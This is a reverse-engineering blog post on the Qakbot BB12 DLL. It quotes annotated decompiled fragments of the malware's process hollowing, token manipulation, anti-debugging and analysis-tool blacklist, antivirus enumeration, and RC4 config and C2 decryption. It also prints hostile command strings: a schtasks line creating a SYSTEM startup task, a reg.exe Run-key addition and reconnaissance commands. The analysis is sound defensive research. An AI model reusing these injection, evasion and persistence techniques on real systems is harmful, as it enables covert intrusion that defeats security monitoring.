[Mal Series #24] Qakbot BB12 DLL Analysis 2023

GhouLSec
18 min readMar 5, 2023

There is already a comprehensive analysis on Qakbot already from VinCSS Blog (2021) and Elastic Security Labs (2022), Kudos to them!! It seems like there is not much changes since 2021 and 2022 in terms of Its core function. The obvious changes is the implementation of double RC4 encryption on the resource file and Mersenne Twister + Issac Random random number generator.

It does have a lot of adaptation on both 32/64-bit system, checking account privilege.

This is my first time using ChatGPT to make my life easier also 🤣

In general:

Unpacker -> Shellcode -> 1st stage -> 2nd stage
* 1st stage and 2nd stage are from the same file with different flow of execution

Unpacker

Just normal Virtual* to drop the payload. After executing ZwFlushInstructionCache, it will proceed to the memory of Qakbot shellcode unpacker.

Shellcode

1st payload will be unpack over here, I guess there is some compression on the payload (Didn’t go check on this). The decompress and address alignment will be done here too before move on to the 1st stage of the actual Qakbot payload.

1st stage

Process hollowing on selected processes

// To be injected process list decryption
v8 = this;
if ( (qbot_s->is_some_proc_found & 0x204) != 0 )
{
if ( qbot_s->is_sys_64_bit )
{
v10 = 0x8F9; // %SystemRoot%\SysWOW64\AtBroker.exe
goto LABEL_7;
}
v10 = 0x670; // %SystemRoot%\System32\AtBroker.exe
}
else
{
if ( qbot_s->is_sys_64_bit )
{
v10 = 0x8CD; // %SystemRoot%\SysWOW64\wermgr.exe
LABEL_7:
v11 = 0x1034; // %SystemRoot%\SysWOW64\msra.exe
v12 = 0x734; // %ProgramFiles(x86)%\Internet Explorer\iexplore.exe
goto LABEL_10;
}
v10 = 0x214; // %SystemRoot%\System32\wermgr.exe
}
v12 = 0xD9C; // %ProgramFiles%\Internet Explorer\iexplore.exe
v11 = 0x310; // %SystemRoot%\System32\msra.exe
LABEL_10:
result = mlwr_allocheap(12);
v7 = result;
if ( result )
{
v2 = result;
v3 = &v10 - result;
v4 = 3;
do
{
v5 = decrypt_str(*&v2[v3]); // Get process name here

Process Hollowing using Zw library from ntdll

...
v4 = mlw_process_hollow(*a1, a3);
if ( v4 )
{
memset(v9, 0, sizeof(v9));
v9[0] = 65538;
if ( (kernel32_struct->GetThreadContext)(a1[1], v9) )
{
v14 = 0;
v11 = -23;
v12 = a2 - 5 + v4 - v9[44] - a3;
v15 = 5;
v13 = v9[44];
if ( (ntdll_struct->ZwProtectVirtualMemory)(*a1, &v13, &v15, 4, &v14) < 0
|| (ntdll_struct->ZwWriteVirtualMemory)(*a1, v9[44], &v11, 5, &v15) < 0
|| (v10 = 0, (ntdll_struct->ZwProtectVirtualMemory)(*a1, &v13, &v15, v14, &v10) < 0) )
{
v4 = 0;
}
}
...

Create memory section on the target process and write the itself into target process memory.

Be careful if there is any software break point (0xcc, int3) set within the section, it will break the code when the execution continue in target process. Just clear all the software break point before ZwMapViewOfSection

// From mlw_process_hollow 
if ( *v5 == 'EP' && (v22[0] = v5[20], (ntdll_struct->ZwCreateSection)(
&v28,
14,
0,
v22,
64,
0x8000000,
0) >= 0) )
{
... some CreateWindows Function ...
v7 = ntdll_struct;
v8 = (kernel32_struct->GetCurrentProcess)(&v29, 0, 0, 0, &v27, 2, 0, 64);
v9 = (v7->ZwMapViewOfSection)(v28, v8);
v10 = v30;
if ( v9 >= 0 && (ntdll_struct->ZwMapViewOfSection)(v28, v30, &v31, 0, 0, 0, &v27, 2, 0, 64) >= 0 )
{
v11 = sub_1000A085(qbot_s, 0x1AC4);
v32 = v11;
if ( v11 )
{
v11->rsrc_component_08 = v31;
v12 = (kernel32_struct->VirtualAllocEx)(v10, 0, 6852, 4096, 4);
(kernel32_struct->WriteProcessMemory)(v30, v12, v32, 6852, &v26);

After the execution of ResumeThread, it will move on to the 2nd stage.

2nd Stage

Create Mutex and Pipe

All the name generated from Mersenne Twister + Issac Random combination with format {%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}

mlwr_Mersenne_Twister(a2, v4);
...
sub_10015C09(a2, v5, 0x10u);
v6 = (issac_random(a2) & 0xF) + 64;
v8 = issac_random(a2) % 0x30 + 0x80;
v16 = str_dec_2(); // {%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}
snprinftw(a1, 40, v16, v5[0], v5[1], v5[2], v5[3], v5[4], v5[5], v6, v7, v8, v9, v10, v11, v12, v13, v14, v15);
mlwr_buf_check(&v16);
return 0;

After that both mutex and pipe created via Windows API CreateMutex* and CreateNamedPipe*

As stated from Elastic blog, it has two ways to call CreateNamedPipe based on the user privilege (by comparing SID value)

// If the user has higher privilege
if ( proc_sid )
is_equal_sid = (advapi_struct->EqualSid)(proc_sid, *qbot_s->required_SID);
if ( !mlwr_check_local_sys_acc_sid(proc_sid) && !mlwr_is_sid_profile_image_exist(v32, proc_sid, 0x105) )
return status; // if not local system and %systemroot% can't be read)
...
v12 = (kernel32_struct->CreateNamedPipeA)(
pipe_name,
0x80003,
6,
0xFF,
0x400, 0x400, 0, 0);

// Low user privilege
kernel32_struct->CreateNamedPipeA)(
pipe_name,
0x80003, // FILE_FLAG_FIRST_PIPE_INSTANCE
6, // PIPE_READMODE_MESSAGE | PIPE_TYPE_MESSAGE
0xFF,
0x80000, 0x80000, 0, v3 != 0 ? v5 : 0);

Set low integrity pipe security descriptor

If the user privilege is low, it will set low integrity to its pipe created in order to facilitate between the connection of different Qakbot module.

// After CreateNamePipe with low priv
...
v3 = decrypt_str(0x64Cu); // S:(ML;;NW;;;LW): LOW_INTEGRITY_LABEL_SACL
if ( (advapi_struct->ConvertStringSecurityDescriptorToSecurityDescriptorW)(v3, 1, &v7, 0) )
{
if ( (advapi_struct->GetSecurityDescriptorSacl)(v7, &v4, &pSacl, &v5)
&& !(advapi_struct->SetSecurityInfo)(pipe_handle, 6, 0x10, 0, 0, 0, pSacl) )// 0x6:SE_KERNEL_OBJECT
// 0x10: LABEL_SECURITY_INFORMATION

Check Full Envrionment in ProfileImagePath based on SID

This is another check the determine whether to process is run under SYSTEM account, it might able to check for other privilege level based on the input.

int __usercall mlwr_get_profile_image_path@<eax>(int a1@<edx>, int sid@<ecx>, int a3)
{
int v3; // edi
int result; // eax
int v6; // esi
int val_0; // esi
int v8; // [esp+8h] [ebp-Ch] BYREF
int v9; // [esp+Ch] [ebp-8h] BYREF
int str_sid; // [esp+10h] [ebp-4h] BYREF

v3 = 0;
str_sid = 0;
result = (advapi_struct->ConvertSidToStringSidW)(sid, &str_sid);
if ( result )
{
v9 = str_dec_3(0xD1); // SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList
v6 = str_concat(v9);
mlwr_heap_free(&v9);
v9 = str_dec_3(0x539); // ProfileImageList
val_0 = mlwr_reg_query_val_0(v6, v9);
v8 = val_0;
mlwr_heap_free(&v9);
if ( val_0 )
{
(shlwapi_struct->PathUnquoteSpacesW)(val_0);
if ( (kernel32_struct->ExpandEnvironmentStringsW)(val_0, a1, a3) )// Expand %systemroot% to full path
v3 = 1;
}
if ( str_sid )
(kernel32_struct->LocalFree)(str_sid);
heap_dealloc(&v8, -2);
return v3;
}
return result;
}
Illustration of ProfileImagePath

Check current process is local system account

int __thiscall mlwr_check_local_sys_acc_sid(void *this)
{
int result; // eax
int v3; // esi
int v4; // [esp+4h] [ebp-Ch] BYREF
__int16 v5; // [esp+8h] [ebp-8h]
int pSid; // [esp+Ch] [ebp-4h] BYREF

v5 = 1280;
v4 = 0;
result = (advapi_struct->AllocateAndInitializeSid)(&v4,
1, // Count
18, // 18 = SECURITY_LOCAL_SYSTEM_RID
0, 0, 0, 0, 0, 0, 0, &pSid);
if ( result )
{
v3 = (advapi_struct->EqualSid)(this, pSid);
(advapi_struct->FreeSid)(pSid);
return v3;
}
return result;
}

Access Token Manipulation

If the executing file has SYSTEM privilege, it can create any process with with similar SYSTEM token by calling CreateProcessAsUserW with the privileged token.

if ( !*wtsapi_QueryUserToken )                // Trellix blog on BlackMatter got explaination on this
return 0;
if ( !(*wtsapi_QueryUserToken)(*session_id, &token) )// QueryUserToken: Get Primary Token
{
GetLastError();
return 0;
}
token_info = get_token_info(token);
v13 = token_info;
if ( token_info )
{
if ( (advapi_struct->EqualSid)(*token_info, proc_sid) )
{
v15 = 0;
memset(lpProcessInformation, 0, sizeof(lpProcessInformation));
memset(lpStartupInfo, 0, sizeof(lpStartupInfo));
lpStartupInfo[0] = 0x44;
lpStartupInfo[2] = &v15;
if ( (kernel32_struct->CreateProcessAsUserW)(
token,
0,
cmdline,
0,
0,
0,
0x4000000,
0,
0,
lpStartupInfo,
lpProcessInformation) )
{
v4 = 1;
}

Get process integrity level

char __thiscall mlwr_get_integrity_lvl(void *this)
{
char v1; // bl
_DWORD *v3; // esi
unsigned __int8 *v4; // eax
unsigned __int8 v5; // al
_DWORD *v6; // eax
char v7[4]; // [esp+4h] [ebp-Ch] BYREF
_DWORD *v8; // [esp+8h] [ebp-8h] BYREF
int v9; // [esp+Ch] [ebp-4h] BYREF

v1 = 0;
if ( !(advapi_struct->OpenProcessToken)(this, 8, &v9) )
return 0;
v3 = sub_1000EEF9(25, v9, v7);
v8 = v3;
if ( v3 )
{
v4 = (advapi_struct->GetSidSubAuthorityCount)(*v3);
if ( v4 )
{
v5 = *v4;
if ( v5 )
{
v6 = (advapi_struct->GetSidSubAuthority)(*v3, v5 - 1);
if ( v6 )
{
if ( *v6 >= 0x2000u ) // SECURITY_MANDATORY_MEDIUM_RID 0x00002000 Medium integrity
{
v1 = 2; // Integrity MEDIUM
if ( *v6 >= 0x3000u ) // SECURITY_MANDATORY_HIGH_RID 0X00003000 High integrity
v1 = 3; // Integrity HIGH
}
else
{
v1 = 1; // Other Integrity (Most probably LOW, 0x1000)
}
}
}
}
heap_dealloc(&v8, 0);
}
(kernel32_struct->CloseHandle)(v9); // closehandle
return v1;
}

Fingerprinting on system

qbot_enum_s->snapshot_proc_list = v4;
qbot_enum_s->file_full_path = &qbot_s->file_full_path;
qbot_enum_s->dword8C = &qbot_s->D1425;
v32 = str_dec_3(1154); // net view
qbot_enum_s->net_view_result = mlwr_create_proc(v32);
mlwr_heap_free(&v32);
v32 = str_dec_3(685); // cmd /c set
qbot_enum_s->cmd_set_result = mlwr_create_proc(v32);
mlwr_heap_free(&v32);
v32 = str_dec_3(1388); // arp -a
qbot_enum_s->arp_result = mlwr_create_proc(v32);
mlwr_heap_free(&v32);
v32 = str_dec_3(1354); // ipconfig /all
qbot_enum_s->ipconfig_result = mlwr_create_proc(v32);
mlwr_heap_free(&v32);
if ( (qbot_s->is_sys_32_bit & 4) == 0 )
{
v32 = str_dec_3(825); // nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.%s
printf(v22, 128, v32, qbot_s->Domain_Name);
mlwr_heap_free(&v32);
qbot_enum_s->nslookup_result = mlwr_create_proc(v22);
}
v32 = str_dec_3(1120); // nltest /domain_trusts /all_trusts
qbot_enum_s->nltest_result = mlwr_create_proc(v32);
mlwr_heap_free(&v32);
v32 = str_dec_3(287); // net share
qbot_enum_s->net_share_result = mlwr_create_proc(v32);
mlwr_heap_free(&v32);
v32 = str_dec_3(1270); // route print
qbot_enum_s->route_print_resutl = mlwr_create_proc(v32);
mlwr_heap_free(&v32);
v32 = str_dec_3(672); // netstat -nao
qbot_enum_s->netstat_result = mlwr_create_proc(v32);
mlwr_heap_free(&v32);
v32 = str_dec_3(180); // net localgroup
qbot_enum_s->dwordCC = mlwr_create_proc(v32);
mlwr_heap_free(&v32);
v32 = str_dec_3(84); // qwinsta
qbot_enum_s->qwinsta_result = mlwr_create_proc(v32);
mlwr_heap_free(&v32);
v32 = str_dec_3(993); // whoami /all
qbot_enum_s->whoami_result = mlwr_create_proc(v32);
...
v30 = decrypt_str(0x9A0u); // ROOT\CIMV2
v8 = decrypt_str(0x10BEu); // Win32_ComputerSystem
v25 = v8;
v29 = decrypt_str(0x270u); // Win32_Bios
v28 = decrypt_str(0x12DDu); // Win32_DiskDrive
v27 = decrypt_str(0xDEFu); // Win32_PhysicalMemory
v26 = decrypt_str(0x1136u); // Win32_Product
v32 = decrypt_str(0x724u); // Win32_PnPEntity
v24 = decrypt_str(0x9E8u); // Caption,Description,Vendor,Version,InstallDate,InstallSource,PackageName
v9 = decrypt_str(0xAD0u); // Caption,Description,DeviceID,Manufacturer,Name,PNPDeviceID,Service,Status
v10 = v8;
v11 = v30;
v23 = v9;
v12 = mlwr_COM_exec_enum(v30, v10);

Get ComputerName and VolumeInfo

(kernel32_struct->GetComputerNameW)(String2, &v16);
lstrcpynW(a2, String2, 256);
v15 = decrypt_str(0x51Au); // c:\\
v4 = (kernel32_struct->GetVolumeInformationW)(v15, v12, 256, &v17, 0, 0, v13, 256);
v17 = v4 != 0 ? v17 : 0;
mlwr_heap_free(&v15);
v11 = v17;
v10 = 256 - get_len(a2);
len = get_len(v5);
printf(&a2[len], v10, 80207720, v11);
strcat(a2, a1);
v16 = get_len(a2);
charupperbuf(a2, v16);

v7 = get_len(a2);
return maybe_calc_hash(2 * v7, v8, 0);

Process thread for anti analysis / anti debug

  • PEB->BeingDebugged
  • Check for listed analysis process (Github)and wpcap.dll
if ( mlwr_to_get_reg_rc4(62) == -1 )
{
while ( 1 )
{
if ( mlwr_anti_analysis() > 0 )
{
mlwr_write_reg_key_val_2(63, 1);
return 0;
}
if ( NtCurrentPeb()->BeingDebugged )
break;
(kernel32_struct->SleepEx)(1000, 1);
}
// Mess up with some memory layout
v3 = 0;
for ( i = 0; i < 0x80; ++i )
*(i + 80213744) ^= 0xB8u;
do
{
*(v3 + 80212048) ^= 0xB8u;
++v3;
}
while ( v3 < 0x80 );
}

Anti Analysis

The malware will stop when these process was found in the snapshot of the processes

int mlwr_anti_analysis() {
v0 = 0;
v1 = str_dec_2(); // frida-winjector-helper-32.exe,.....
v6 = v1;
if ( !v1 )
return -1;
v3 = mlwr_cmp_str(59, v1, 0, &v4);
v5 = str_dec_2(); // wpcap.dll
if ( v5 )
{
v0 = mlwr_cmp_proc_name_av(0x4C6F0B1, &v3);
mlwr_buf_check(&v5);
sub_1000AA95(&v3, &v4);
}
mlwr_buf_check(&v6);
...
}

// frida-winjector-helper-32.exe;frida-winjector-helper-64.exe;tcpdump.exe;
// windump.exe;ethereal.exe;wireshark.exe;ettercap.exe;rtsniff.exe;
// packetcapture.exe;capturenet.exe;qak_proxy;dumpcap.exe;CFF Explorer.exe;
// not_rundll32.exe;ProcessHacker.exe;tcpview.exe;filemon.exe;procmon.exe;
// idaq64.exe;loaddll32.exe;PETools.exe;ImportREC.exe;LordPE.exe;SysInspector.exe;
// proc_analyzer.exe;sysAnalyzer.exe;sniff_hit.exe;joeboxcontrol.exe;
// joeboxserver.exe;ResourceHacker.exe;x64dbg.exe;Fiddler.exe;sniff_hit.exe;
// sysAnalyzer.exe

Anti Anti-Virus

Detect MS Defender emulation folder C:\INTERNAL\__empty

some_INTERNAL_path = NtCurrentPeb();
if ( some_INTERNAL_path->BeingDebugged ) // anti-debug
{
for ( i = 0; i < 0x80; ++i )
*(i + 80213744) ^= 0xB7u;
for ( j = 0; j < 0x80; ++j )
*(j + 80212048) ^= 0xB7u;
}
kernel32_struct = mlwr_get_func(0x140u, 80206152, 1717);
some_INTERNAL_path = decrypt_str(0xD28u); // C:\INTERNAL\__empty
if ( GetFileAttributesW(&some_INTERNAL_path->InheritedAddressSpace) != -1 )
{
mlwr_heap_free(&some_INTERNAL_path);
return 0;
}

Besides that, it will enumerate AV processes within the machine using WQL and then it will compare the results with the deobfuscated AV processes string over here

v0 = 0;
v9 = decrypt_str(0x123u); // root\SecurityCenter2
v1 = mlwr_COM_init(v9);
v7 = v1;
mlwr_heap_free(&v9);
if ( !v1 )
return 0;
v3 = decrypt_str(0x5C6u);
v9 = v3; // SELECT * FROM AntiVirusProduct
v8 = decrypt_str(0xE11u); // displayName

Check Is The Machine Infected

If SELF_TEST_1 was found, the malware will stop executing further

mlwr_heap_free(&some_INTERNAL_path);
v6 = str_dec_3(981); // SELF_TEST_1 (Can be Kill Switch, If this was set)
some_INTERNAL_path = sub_10009FA8(v6);
if ( some_INTERNAL_path )
{
user32_struct = mlwr_get_func(0x6Cu, 80206480, 1730);
sub_100023FF();
heap_dealloc(&some_INTERNAL_path, -2);
(kernel32_struct->ExitProcess)(1);
}

Running some random Win API function

These function runs without any parameter.

I guess this is meant to be hit the hook limit of the AV/EDR tools 🤔

032E11EC | 55                       | push ebp                                                                            |
032E11ED | 8BEC | mov ebp,esp |
032E11EF | 81EC B4000000 | sub esp,B4 |
032E11F5 | A1 98A02F03 | mov eax,dword ptr ds:[<&CreateBitmapIndirect>] |
032E11FA | 8985 4CFFFFFF | mov dword ptr ss:[ebp-B4],eax |
032E1200 | A1 94A02F03 | mov eax,dword ptr ds:[<&CreateBrushIndirect>] |
032E1205 | 8985 50FFFFFF | mov dword ptr ss:[ebp-B0],eax |
032E120B | A1 7CA02F03 | mov eax,dword ptr ds:[<&CreateDIBPatternBrush>] |
032E1210 | 8985 54FFFFFF | mov dword ptr ss:[ebp-AC],eax |
032E1216 | A1 80A02F03 | mov eax,dword ptr ds:[<&CreateDIBPatternBrushPt>] |
032E121B | 8985 58FFFFFF | mov dword ptr ss:[ebp-A8],eax |
032E1221 | A1 A0A02F03 | mov eax,dword ptr ds:[<&CreateDIBSection>] |
032E1226 | 8985 5CFFFFFF | mov dword ptr ss:[ebp-A4],eax |
032E122C | A1 78A02F03 | mov eax,dword ptr ds:[<&CreateEllipticRgn>] |
032E1231 | 8985 60FFFFFF | mov dword ptr ss:[ebp-A0],eax |
032E1237 | A1 8CA02F03 | mov eax,dword ptr ds:[<&CreateEllipticRgnIndirect>] |
032E123C | 8985 64FFFFFF | mov dword ptr ss:[ebp-9C],eax |
032E1242 | A1 68A02F03 | mov eax,dword ptr ds:[<&CreateEnhMetaFileA>] |
032E1247 | 8985 68FFFFFF | mov dword ptr ss:[ebp-98],eax |
032E124D | A1 A4A02F03 | mov eax,dword ptr ds:[<&CreateFontA>] |
032E1252 | 8985 6CFFFFFF | mov dword ptr ss:[ebp-94],eax |
032E1258 | A1 64A02F03 | mov eax,dword ptr ds:[<&CreateFontIndirectExW>] |
032E125D | 8985 70FFFFFF | mov dword ptr ss:[ebp-90],eax |
032E1263 | A1 60A02F03 | mov eax,dword ptr ds:[<&CreateHalftonePalette>] |
032E1268 | 8985 74FFFFFF | mov dword ptr ss:[ebp-8C],eax |
032E126E | A1 90A02F03 | mov eax,dword ptr ds:[<&CreateHatchBrush>] |
032E1273 | 8985 78FFFFFF | mov dword ptr ss:[ebp-88],eax |
032E1279 | A1 58A02F03 | mov eax,dword ptr ds:[<&CreatePatternBrush>] |
032E127E | 8985 7CFFFFFF | mov dword ptr ss:[ebp-84],eax |
032E1284 | A1 70A02F03 | mov eax,dword ptr ds:[<&CreatePenIndirect>] |
032E1289 | 8945 80 | mov dword ptr ss:[ebp-80],eax |
032E128C | A1 88A02F03 | mov eax,dword ptr ds:[<&CreateRectRgnIndirect>] |
032E1291 | 8945 84 | mov dword ptr ss:[ebp-7C],eax |
032E1294 | A1 84A02F03 | mov eax,dword ptr ds:[<&CreateRoundRectRgn>] |
032E1299 | 8945 88 | mov dword ptr ss:[ebp-78],eax |
032E129C | A1 6CA02F03 | mov eax,dword ptr ds:[<&CreateScalableFontResourceA>] |
032E12A1 | 8945 8C | mov dword ptr ss:[ebp-74],eax |
032E12A4 | A1 A8A02F03 | mov eax,dword ptr ds:[<&CreateScalableFontResourceW>] |
032E12A9 | 8945 90 | mov dword ptr ss:[ebp-70],eax |
032E12AC | A1 74A02F03 | mov eax,dword ptr ds:[<&CreateSolidBrush>] |
032E12B1 | 8945 94 | mov dword ptr ss:[ebp-6C],eax |
032E12B4 | A1 9CA02F03 | mov eax,dword ptr ds:[<&GdiGetBatchLimit>] |
032E12B9 | 8945 98 | mov dword ptr ss:[ebp-68],eax |
032E12BC | A1 5CA02F03 | mov eax,dword ptr ds:[<&GdiTransparentBlt>] |
032E12C1 | 8945 9C | mov dword ptr ss:[ebp-64],eax |
032E12C4 | A1 C8A12F03 | mov eax,dword ptr ds:[<&WICMapGuidToShortName>] |
032E12C9 | 8945 A0 | mov dword ptr ss:[ebp-60],eax |
032E12CC | A1 C0A12F03 | mov eax,dword ptr ds:[<&WICMapSchemaToName>] |
032E12D1 | 8945 A4 | mov dword ptr ss:[ebp-5C],eax |
032E12D4 | A1 C4A12F03 | mov eax,dword ptr ds:[<&WICMapShortNameToGuid>] |
032E12D9 | 8945 A8 | mov dword ptr ss:[ebp-58],eax |
032E12DC | A1 1CA02F03 | mov eax,dword ptr ds:[<&AccessCheckAndAuditAlarmA>] |
032E12E1 | 8945 AC | mov dword ptr ss:[ebp-54],eax |
032E12E4 | A1 10A02F03 | mov eax,dword ptr ds:[<&AccessCheckByTypeAndAuditAlarmA>] |
032E12E9 | 8945 B0 | mov dword ptr ss:[ebp-50],eax |
032E12EC | A1 24A02F03 | mov eax,dword ptr ds:[<&AddAccessAllowedAce>] |
032E12F1 | 8945 B4 | mov dword ptr ss:[ebp-4C],eax |
032E12F4 | A1 14A02F03 | mov eax,dword ptr ds:[<&AddAccessAllowedAceEx>] |
032E12F9 | 8945 B8 | mov dword ptr ss:[ebp-48],eax |
032E12FC | A1 08A02F03 | mov eax,dword ptr ds:[<&AddAccessDeniedAce>] |
032E1301 | 8945 BC | mov dword ptr ss:[ebp-44],eax |
032E1304 | A1 44A02F03 | mov eax,dword ptr ds:[<&AddAuditAccessObjectAce>] |
032E1309 | 8945 C0 | mov dword ptr ss:[ebp-40],eax |
032E130C | A1 0CA02F03 | mov eax,dword ptr ds:[<&BuildTrusteeWithSidA>] |
032E1311 | 8945 C4 | mov dword ptr ss:[ebp-3C],eax |
032E1314 | A1 20A02F03 | mov eax,dword ptr ds:[<&ChangeServiceConfig2A>] |
032E1319 | 8945 C8 | mov dword ptr ss:[ebp-38],eax |
032E131C | A1 50A02F03 | mov eax,dword ptr ds:[<&CloseTrace>] |
032E1321 | 8945 CC | mov dword ptr ss:[ebp-34],eax |
032E1324 | A1 30A02F03 | mov eax,dword ptr ds:[<&ConvertToAutoInheritPrivateObjectSecurity>] |
032E1329 | 8945 D0 | mov dword ptr ss:[ebp-30],eax |
032E132C | A1 00A02F03 | mov eax,dword ptr ds:[<&CreatePrivateObjectSecurity>] |
032E1331 | 8945 D4 | mov dword ptr ss:[ebp-2C],eax |
032E1334 | A1 18A02F03 | mov eax,dword ptr ds:[<&EnumerateTraceGuidsEx>] |
032E1339 | 8945 D8 | mov dword ptr ss:[ebp-28],eax |
032E133C | A1 48A02F03 | mov eax,dword ptr ds:[<&EqualDomainSid>] |
032E1341 | 8945 DC | mov dword ptr ss:[ebp-24],eax |
032E1344 | A1 2CA02F03 | mov eax,dword ptr ds:[<&EtwEventActivityIdControl>] |
032E1349 | 8945 E0 | mov dword ptr ss:[ebp-20],eax |
032E134C | A1 3CA02F03 | mov eax,dword ptr ds:[<&EtwEventWrite>] |
032E1351 | 8945 E4 | mov dword ptr ss:[ebp-1C],eax |
032E1354 | A1 40A02F03 | mov eax,dword ptr ds:[<&EtwEventWriteEx>] |
032E1359 | 8945 E8 | mov dword ptr ss:[ebp-18],eax |
032E135C | A1 28A02F03 | mov eax,dword ptr ds:[<&EtwEventWriteString>] |
032E1361 | 8945 EC | mov dword ptr ss:[ebp-14],eax |
032E1364 | A1 4CA02F03 | mov eax,dword ptr ds:[<&EtwEventWriteTransfer>] |
032E1369 | 8945 F0 | mov dword ptr ss:[ebp-10],eax |
032E136C | A1 38A02F03 | mov eax,dword ptr ds:[<&FindFirstFreeAce>] |
032E1371 | 8945 F4 | mov dword ptr ss:[ebp-C],eax |
032E1374 | A1 04A02F03 | mov eax,dword ptr ds:[<&GetEventLogInformation>] |
032E1379 | 8945 F8 | mov dword ptr ss:[ebp-8],eax |
032E137C | A1 34A02F03 | mov eax,dword ptr ds:[<&GetAce>] |
032E1381 | 8945 FC | mov dword ptr ss:[ebp-4],eax |
032E1384 | 81F9 250C0000 | cmp ecx,C25 |
032E138A | 75 11 | jne 32E139D |
032E138C | 56 | push esi |
032E138D | 33F6 | xor esi,esi // Empty out esi |
032E138F | FF94B5 4CFFFFFF | call dword ptr ss:[ebp+esi*4-B4] // Call the function |
032E1396 | 46 | inc esi |
032E1397 | 83FE 2D | cmp esi,2D |
032E139A | 72 F3 | jb 32E138F |
032E139C | 5E | pop esi |
032E139D | 33C0 | xor eax,eax |
032E139F | C9 | leave |
032E13A0 | C3 | ret |

Persistent via Schedule Task and Registry

if ( qbot_s->is_get_desktop_info == 3 )
{
v4 = str_dec_3(0x48B); // schtasks.exe /Create /RU "NT AUTHORITY\SYSTEM" /SC ONSTART /TN %u /TR "%s" /NP /F
v5 = mlwr_allocheap(4096);
v2 = mlwr_issac_random(&qbot_s->random_seed, 0x10000000, -1);
printf(v5, 4096, v4, v2, a1);
if ( !mlwr_createproc(v5, 0, 3000, 1, 0) )
v1 = -1;
mlwr_heap_free(&v4);
mlwr_write_reg_key_val_2(60, v2);
heap_dealloc(&v5, -2);
}
else
{
v4 = decrypt_str(0x12EDu); // SOFTWARE\Microsoft\Windows\CurrentVersion\Run
v1 = mlwr_set_reg_key_2(-2147483647, v4, a1);
mlwr_heap_free(&v4);
if ( v1 >= 0 )
v1 = 0;
else
mlwr_file_ops();
heap_dealloc(&a1, -2);
}
return v1;

Move/Copy+Delete self in %AppData% folder

It will move/copy+delete itselfinto the %AppData% folder with specific path C:\Users\<user>\AppData\Roaming\Microsoft\<RANDOM_NAME> if hiberfil.sys can be reached, it is locked when the system is not in hibernate/shudtdown/sleep mode

if ( !query_reg_key_val(0x33) && ( 
query_reg_key_val(0x12) ||
mlwr_get_hiberfil_sys()) // If hiberfil is not locked, via GetFileAttributes
{
SystemTimeAsFileTime = mlwr_GetSystemTimeAsFileTime(0);
printf(NewFileName, 260, 0x4C7DE6C, v2, SystemTimeAsFileTime);
MoveFileW(v2, NewFileName);
}
else
{
if ( sub_100052FB(v2) < 0 )
return heap_dealloc(&v5, -2);
mlwr_to_cpy_del(v2);
}
...
}
// Check c:\hiberfil.sys availability
v2 = decrypt_str(0xEBBu); // c:\hiberfil.sys
v0 = mlwr_to_getfileattributew(v2);
mlwr_heap_free(&v2);

Self Update

Execute the command rundll32 <self_file_path>, Uptd

...
if ( !(kernel32_struct->CreateProcessW)(0, a1, 0, 0, 0, a4 != 0 ? 0x8000000 : 0, 0, 0, v7, v8) )
return 0;
...

It will also write into registry key SOFTWARE\Microsoft\Windows\CurrentVersion\Run data value and schedule task

Adding Reg Key

This can be done through reg.exe or Reg* Windows API

Adding new key value in SOFTWARE\Microsoft\Windows\CurrentVersion\Run for persistence

Adding new key value in Software\\Microsoft\\<RAND_VAL> to store RC4-ed data

Read SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList ProfileImagePath to check for account privilege

// Add via windows api 
if ( (advapi_struct->RegOpenKeyExW)(a2, a1, 0, 2, &v19) )
return -1;
if ( a5 )
{
if ( (advapi_struct->RegSetValueExW)(v19, a3, 0, 1, a5, a6) )
{
v15 = -2;
LABEL_22:
v6 = v15;
}
}
// Delete reg key as well
else if ( (advapi_struct->RegDeleteValueW)(v19, a3) )
{
v15 = -3;
goto LABEL_22;
}

// Add via reg.exe
reg.exe ADD "HKLM\%s" /f /t %s /v "%s" /d "%s"

Create Registry key to store some data

To get the registry key value, Qakbot will xor decrypt some hard coded bytes into Software\\Microsoft\\<RAND_GEN_VAL>

The registry value data is encrypted with RC4 algorithm. (Including campaign ID etc.)

RC4 encrypted data

Remove Persistent

// Via Windows API
if ( (advapi_struct->RegOpenKeyExA)(v4[67], v6, 0, 2, &v15, a2, a3, a1) )
{
v5 = -2;
}
else
{
if ( (advapi_struct->RegDeleteValueA)(v15, v13) )
v5 = -4;
(advapi_struct->RegCloseKey)(v15, v8, v9);

// Via schedule task
schtasks.exe /Delete /F /TN %u

Double RC4 crypto on Resource file Component_07 / Component_08

Decrypt and verify the result by comparing the first 0x14h bytes of the decrypted bytes with the SHA1 of bytes after first 0x14h bytes. If it fails it will use the hard-coded key generated to perform another round of RC4.

The first layer is decrypted by the SHA1 hard-coded key and the second layer use the key from first 0x14h bytes and RC4 with the rest of it.

Illustration of the explanation above

Resource Component_07 contains campaign info, meanwhile resource Component_08 contains list of IP C2 + port in hex form

// Component_08 contains IP port list in hex form
key = str_dec_4(); // Component_08
rsrc_bytes = mlwr_load_rsrc(key, qbot_s->rsrc_component_08, &v23);
rsrc_bytes_cpy = rsrc_bytes;
mlwr_buf_check(&key);
if ( rsrc_bytes )
{
to_be_sha1_key = str_dec_4(); // bUdiuy81gYguty@4frdRdpfko(eKmudeuMncueaN
v4 = mlwr_to_rc4_crypt(v23, rsrc_bytes, to_be_sha1_key);
v21 = v4;
mlwr_buf_check(&key);
if ( v4 )
{
v5 = mlwr_to_rc4_crypt(*(v4 + 0x428), *(v4 + 0x424), 0);
key = v5;
if ( v5 )
{
mlwr_decrypt_c2_addr_hex(
*(v5 + 1064),
*(v5 + 1060),
c2_buffer + 4, // 1st hex
c2_buffer + 5, // 2nd hex
c2_buffer + 6, // 3rd hex
c2_buffer + 7); // 4th hex
mlwr_create_file_0(&key);
Illustration for IP port data (Data in blue bracket is SHA1 of the IP port data)

Shuffle C2 memory buffer

After that the IP port data will gets shuffle into a new memory region that will be used later on, it will be shuffled randomly based on the Issac random results.

do
{
rand_num = mlwr_issac_random(&qbot_s->random_seed, 0, v24);
mem_cpy(cursor_dest, cursor, 36);
random_c2_buffer = (c2_buffer_cpy_1 + 0x24 * rand_num);
mem_cpy(cursor, random_c2_buffer, 36);
mem_cpy(random_c2_buffer, cursor_dest, 36);
v24 = v36;
cursor += 36;
--sent_val;
}
while ( sent_val );

